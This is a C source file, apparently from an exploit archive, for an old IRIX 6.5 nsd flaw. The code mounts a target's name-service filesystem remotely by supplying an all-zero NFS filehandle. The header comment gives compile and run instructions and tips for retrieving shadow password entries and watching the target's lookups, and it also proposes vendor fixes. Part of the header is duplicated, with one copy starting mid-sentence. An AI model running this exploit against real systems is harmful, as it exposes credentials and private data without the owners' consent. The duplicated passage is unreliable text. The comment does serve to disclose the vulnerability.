home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / irix / remote / nsdadv.c < prev    next >
Text File  |  2005-02-12  |  14KB  |  354 lines

  1.  
  2.  
  3. /******************************************************************************
  4.  
  5. IRIX 6.5 nsd virtual filesystem exploit
  6.  
  7. Author: Jefferson Ogata (JO317) <ogata@pobox.com>
  8.  
  9. Please note that this program comes with NO WARRANTY WHATSOEVER. Your use
  10. of this program constitutes your complete acceptance of all liability for
  11. any damage or loss caused by the aforesaid use. It is provided to the
  12. network community solely to document the existence of a vulnerability
  13. in the security implementations of certain versions of IRIX, and may not
  14. be used for any illicit purpose. Many of the details of the bug this
  15. program exploits have been available to users of SGI's online support
  16. system since February 1999. The current revision of IRIX (6.5.3) corrects
  17. this bug, at least enough to stop this particular exploit, and I strongly
  18. encourage you to bring your systems up to date as quickly as possible.
  19.  
  20. With IRIX 6.5, SGI has moved all name services, NIS services, and DNS
  21. lookups into a userland process called nsd, which exports the results of
  22. the queries it fields into a virtual filesystem. The virtual filesystem is
  23. normally mounted onto the directory /ns by the program /sbin/nsmount, which
  24. is invoked by nsd on startup. The nsd daemon itself is exporting the
  25. filesystem via NFS3 over a dynamically bound UDP port -- rather than a
  26. well-known or settable one -- typically in the 1024-1029 range. On a
  27. desktop system, 1024 is a good bet, since nsd is usually the first
  28. RPC/UDP service to be started.
  29.  
  30. The NFS filesystem is not registered with mountd, so there is no way to
  31. query mountd for a mount filehandle. But because the NFS port is fairly
  32. easy to discover through port scanning, and because the mount filehandle
  33. nsd uses is simply a string of 32 zeroes, it is trivial to mount the nsd
  34. filesystem from a host anywhere on the Internet. nsd will serve an array
  35. of NFS requests to anyone. Furthermore, because the service's NFS port is
  36. bound dynamically, it is difficult to protect it with a firewall; it may
  37. change from one system start to another, or if the daemon is killed and
  38. restarted.
  39.  
  40. This program can successfully mount the nsd-exported virtual filesystem
  41. from a remote host onto a machine running IRIX 6.4 or higher. It makes use
  42. of the MS_DOXATTR mount flag defined in IRIX 6.4 and higher. I do not know
  43. what this flag does at the NFS protocol level, but it allows the client to
  44. ask the NFS server not to enforce certain permissions controls against the
  45. client. I don't know whether any other vendor NFS client systems support
  46. this flag. A clever person might write a userland NFS client that would
  47. accept an initial handle, NFS port, etc. as arguments.
  48.  
  49. On an SGI with SGI C compiler, compile with:
  50.  
  51.     cc -o nsdadv nsdadv.c
  52.  
  53. Run it this way:
  54.  
  55.     nsdadv /mnt sucker.example.com 1024
  56.  
  57. with obvious substitutions.
  58.  
  59. So what are the security implications of this? Well, at the very least, the
  60. nsd filesystem on an NIS server reveals the NIS domain name, and what maps
  61. it contains, as well as what classes are being used.
  62.  
  63. By exploring the filesystem shortly after it has been mounted I have been
  64. able to retrieve data that should be hidden from me, including shadow
  65. password entries from a remote system's shadow file.
  66.  
  67. Beyond retrieving keys and maps, you can also monitor the filesystem for
  68. changes. A great deal of information is leaked through the contents of the
  69. nsd filesystem. For example, if host A looks up a host B's IP address, a
  70. file named B will appear in the /.local/hosts.byname directory in A's nsd
  71. filesystem. The file's contents will be the IP address.
  72.  
  73. By the way, though you be unable to chdir into a particular location in
  74. the nsd filesystem, you may yet succeed under slightly different
  75. conditions. Eventually you can do it. I'm not sure why or when, but nsd
  76. gets picky sometimes. Eventually it relents. Specifically, I've found that
  77. the entire nsd filesystem appears readable for a few seconds after it is
  78. initially mounted. If you can't look at something, unmount the filesystem,
  79. remount it, and try again immediately. It also seems that a stat() is
  80. sometimes required before a chdir(). Your mileage may vary, but keep
  81. trying. You may wish to write a script to mount the nsd filesystem, explore
  82. and take inventory of its contents, and unmount the filesystem quickly.
  83.  
  84. Once you've chdir'd into a directory, it appears you can always read it,
  85. although you can't necessarily stat its contents. This suggests a strategy
  86. of spawning a group of processes each with its cwd set to a subdirectory of
  87. the nsd filesystem, in order to retain visibility on the entire filesystem.
  88. Each process would generate an inventory of its cwd, and then monitor it
  89. for changes. A Perl script could do this well.
  90.  
  91. Another thing: it is possible to create an empty file in nsd's exported
  92. filesystem simply by stat()ing a nonexistent filename. This suggests a
  93. potential DoS by creating many files in a directory.
  94.  
  95. Remember that the system keeps a local cache in /var/ns, so you may have
  96. to wait for cached entries on the target host to expire before you'll see
  97. them reappear in the virtual filesystem.
  98.  
  99. For some fairly extensive info on the nsd implementation, take a look at:
  100.  
  101.     http://www.bitmover.com/lm/lamed_arch.html
  102.  
  103. ******
  104.  
  105. What got me into all this was that I found I could no longer run services
  106. chrooted if they required DNS. It took considerable effort to come up with
  107. a solution to this. This was a fundamental change from IRIX 6.4, and I know
  108. I'm not the only one who finds the nsd implementation to be a generally
  109. unpleasant direction, in part because it causes umount -t nfs to break
  110. system database services. I give SGI points for creativity -- in one sense,
  111. using NFS as a database access system is a very slick approach. But the
  112. database needs a security model, and the model needs to be implemented
  113. correctly. Neither of these needs appears to have been met.
  114.  
  115. So how could SGI fix this?
  116.  
  117. Without going back, SGI could at least make nsd respond only to queries
  118. from localhost (see note below about IRIX 6.5.3). The problem here is that
  119. they actually intend to support remote mounts in later releases, in order
  120. to supplement or supplant other means of distribution. The web documents
  121. indicate this.
  122.  
  123. They could create a well-randomized mount filehandle for the filesystem
  124. and pass that to nsmount. Then you couldn't remotely mount the filesystem
  125. without guessing the handle -- nontrivial with a 32-byte handle.
  126.  
  127. At the very least, they should provide libraries of regular BIND resolver
  128. routines, file-based getpwent, etc. routines, so one could choose the
  129. resolution strategy at link time, perhaps by modifying the shared library
  130. path.
  131.  
  132. ******
  133.  
  134. With IRIX release 6.5.3, SGI appears to have fixed this problem, at least
  135. to some degree. The exploit does not appear to work as it does against
  136. 6.5.2. Further testing is needed, and the behavior should be watched
  137. carefully in future versions of IRIX.
  138.  
  139. suggests a
  140. potential DoS by creating many files in a directory.
  141.  
  142. Remember that the system keeps a local cache in /var/ns, so you may have
  143. to wait for cached entries on the target host to expire before you'll see
  144. them reappear in the virtual filesystem.
  145.  
  146. For some fairly extensive info on the nsd implementation, take a look at:
  147.  
  148.     http://www.bitmover.com/lm/lamed_arch.html
  149.  
  150. ******
  151.  
  152. What got me into all this was that I found I could no longer run services
  153. chrooted if they required DNS. It took considerable effort to come up with
  154. a solution to this. This was a fundamental change from IRIX 6.4, and I know
  155. I'm not the only one who finds the nsd implementation to be a generally
  156. unpleasant direction, in part because it causes umount -t nfs to break
  157. system database services. I give SGI points for creativity -- in one sense,
  158. using NFS as a database access system is a very slick approach. But the
  159. database needs a security model, and the model needs to be implemented
  160. correctly. Neither of these needs appears to have been met.
  161.  
  162. So how could SGI fix this?
  163.  
  164. Without going back, SGI could at least make nsd respond only to queries
  165. from localhost (see note below about IRIX 6.5.3). The problem here is that
  166. they actually intend to support remote mounts in later releases, in order
  167. to supplement or supplant other means of distribution. The web documents
  168. indicate this.
  169.  
  170. They could create a well-randomized mount filehandle for the filesystem
  171. and pass that to nsmount. Then you couldn't remotely mount the filesystem
  172. without guessing the handle -- nontrivial with a 32-byte handle.
  173.  
  174. At the very least, they should provide libraries of regular BIND resolver
  175. routines, file-based getpwent, etc. routines, so one could choose the
  176. resolution strategy at link time, perhaps by modifying the shared library
  177. path.
  178.  
  179. ******
  180.  
  181. With IRIX release 6.5.3, SGI appears to have fixed this problem, at least
  182. to some degree. The exploit does not appear to work as it does against
  183. 6.5.2. Further testing is needed, and the behavior should be watched
  184. carefully in future versions of IRIX.
  185.  
  186. ******************************************************************************/
  187.  
  188.  
  189.  
  190. #include <stdio.h>
  191. #include <string.h>
  192. #include <malloc.h>
  193. #include <mntent.h>
  194. #include <sys/types.h>
  195. #include <rpc/types.h>
  196. #include <sys/fstyp.h>
  197. #include <sys/fsid.h>
  198. #include <sys/mount.h>
  199. #include <sys/fs/nfs.h>
  200. #include <sys/fs/nfs_clnt.h>
  201. #include <netinet/in.h>
  202. #include <netdb.h>
  203. #include <arpa/inet.h>
  204.  
  205. /* Filesystem type name for nsd-exported filesystem. */
  206. #define NSD_FSTYPE      "nfs3"
  207.  
  208. /* File the records mounted filesystems. */
  209. #define MTAB_FILE       "/etc/mtab"
  210.  
  211. /* Socket address we'll fill in with our destination IP and port. */
  212. struct sockaddr_in sin;
  213.  
  214. /* All zero file handle. This appears to be the base handle for the nsd
  215.    filesystem. Great security, huh? */
  216. unsigned char fh[NFS_FHSIZE] = { 0 };
  217.  
  218. /* NFS mount options structure to pass to mount(2). The meanings of these
  219.    are documented to some extent in /usr/include/sys/fs/nfs_clnt.h. The
  220.    flags field indicates that this is a soft mount without log messages,
  221.    and to set the initial timeout and number of retries from fields in
  222.    this structure. The fh field is a pointer to the filehandle of the
  223.    mount point, whose size is set by fh_len. As noted above, the mount
  224.    point filehandle is just 32 zeroes. */
  225. struct nfs_args nx =
  226. {
  227.     &sin,               /* addr */
  228.     (fhandle_t *) fh,   /* fh */
  229.     NFSMNT_SOFT|NFSMNT_TIMEO|NFSMNT_RETRANS|NFSMNT_NOAC,        /* flags */
  230.     0,                  /* wsize */
  231.     0,                  /* rsize */
  232.     100,                /* timeo */
  233.     2,                  /* retrans */
  234.     0,                  /* hostname */
  235.     0,                  /* acregmin */
  236.     0,                  /* acregmax */
  237.     0,                  /* acdirmin */
  238.     0,                  /* acdirmax */
  239.     0,                  /* symttl */
  240.  
  241.     { 0 },              /* base */
  242.  
  243.     0,                  /* namemax */
  244.     NFS_FHSIZE,         /* fh_len */
  245.     /* On IRIX 6.4 and up there are also the following... */
  246.                         /* bdsauto */
  247.                         /* bdswindow */
  248.     /* On IRIX 6.5 there are also the following... */
  249.                         /* bdsbuflen */
  250.                         /* pid */
  251.                         /* maxthreads */
  252. };
  253.  
  254. void usage (void)
  255. {
  256.     fprintf (stderr, "usage: nsmount_remote directory host port\n\n");
  257.     fprintf (stderr, "NFS-mounts the virtual filesystem exported by nsd on <host> via NSD daemon\n");
  258.     fprintf (stderr, "port <port> onto <directory>.\n\n");
  259.     exit (1);
  260. }
  261.  
  262. int main (int argc, char **argv)
  263. {
  264.     char                *dir;
  265.     char                *host;
  266.     char                *ports;
  267.     int                 port;
  268.     struct hostent      *h;
  269.     int                 fstype;
  270.     FILE                *mtabf;
  271.     struct mntent       mnt =
  272.     {
  273.         0,
  274.         0,
  275.         NSD_FSTYPE,
  276.         "soft,timeo=100,retrans=2",
  277.         0,
  278.         0,
  279.     };
  280.  
  281.     if (argc != 4)
  282.         usage ();
  283.  
  284.     dir = argv[1];
  285.     host = argv[2];
  286.     port = atoi ((ports = argv[3]));
  287.  
  288.     /* Prepare for host lookup. */
  289.     memset ((void *) &sin, 0, sizeof (sin));
  290.     sin.sin_family = 2;
  291.     sin.sin_port = port;
  292.  
  293.     /* Look up the host. */
  294.     if (inet_aton (host, &sin.sin_addr))
  295.         ;
  296.     else if ((h = gethostbyname (host)))
  297.     {
  298.         unsigned long   *l = (unsigned long *) *(h->h_addr_list);
  299.         sin.sin_addr.s_addr = l[0];
  300.     }
  301.     else
  302.     {
  303.         fprintf (stderr, "Cannot resolve host %s.\n", host);
  304.         return 1;
  305.     }
  306.  
  307.     /* Get filesystem type index for nsd filesystem type. */
  308.     if ((fstype = sysfs (GETFSIND, NSD_FSTYPE)) < 0)
  309.     {
  310.         perror ("sysfs (" NSD_FSTYPE ")");
  311.         return 1;
  312.     }
  313.  
  314.     fprintf (stderr, "Mounting nsd " NSD_FSTYPE " fs from %s(%s):%d onto %s\n",
  315.         host, inet_ntoa (sin.sin_addr), port, dir);
  316.  
  317.     /* These flags are documented in /usr/include/sys/mount.h. MS_DOXATTR
  318.        means "tell server to trust us with attributes" and MS_DATA means
  319.        "6-argument mount".
  320.  
  321.        MS_DOXATTR is a mount option in IRIX 6.4 and up. The attack doesn't
  322.        seem to work without this option. So even though this program will
  323.        compile on IRIX 6.2, you need to use an IRIX 6.4 or higher OS to
  324.        attack nsd. */
  325.     if (mount (dir, dir, MS_DOXATTR|MS_DATA, (char *) fstype, &nx, sizeof (nx))
  326.         != 0)
  327.     {
  328.         perror ("mount");
  329.         return 1;
  330.     }
  331.  
  332.     /* Record mount point in /etc/mtab. */
  333.     mnt.mnt_fsname = malloc (strlen (host) + sizeof (":nsd@") + strlen (ports) + 1);
  334.     sprintf (mnt.mnt_fsname, "%s:nsd@%s", host, ports);
  335.     mnt.mnt_dir = dir;
  336.     if (!(mtabf = setmntent (MTAB_FILE, "r+")))
  337.     {
  338.         perror ("setmntent");
  339.         return 1;
  340.     }
  341.     if (addmntent (mtabf, &mnt) < 0)
  342.     {
  343.         perror ("addmntent");
  344.         return 1;
  345.     }
  346.     if (endmntent (mtabf) < 0)
  347.     {
  348.         perror ("endmntent");
  349.         return 1;
  350.     }
  351.  
  352.     return 0;
  353. }
  354.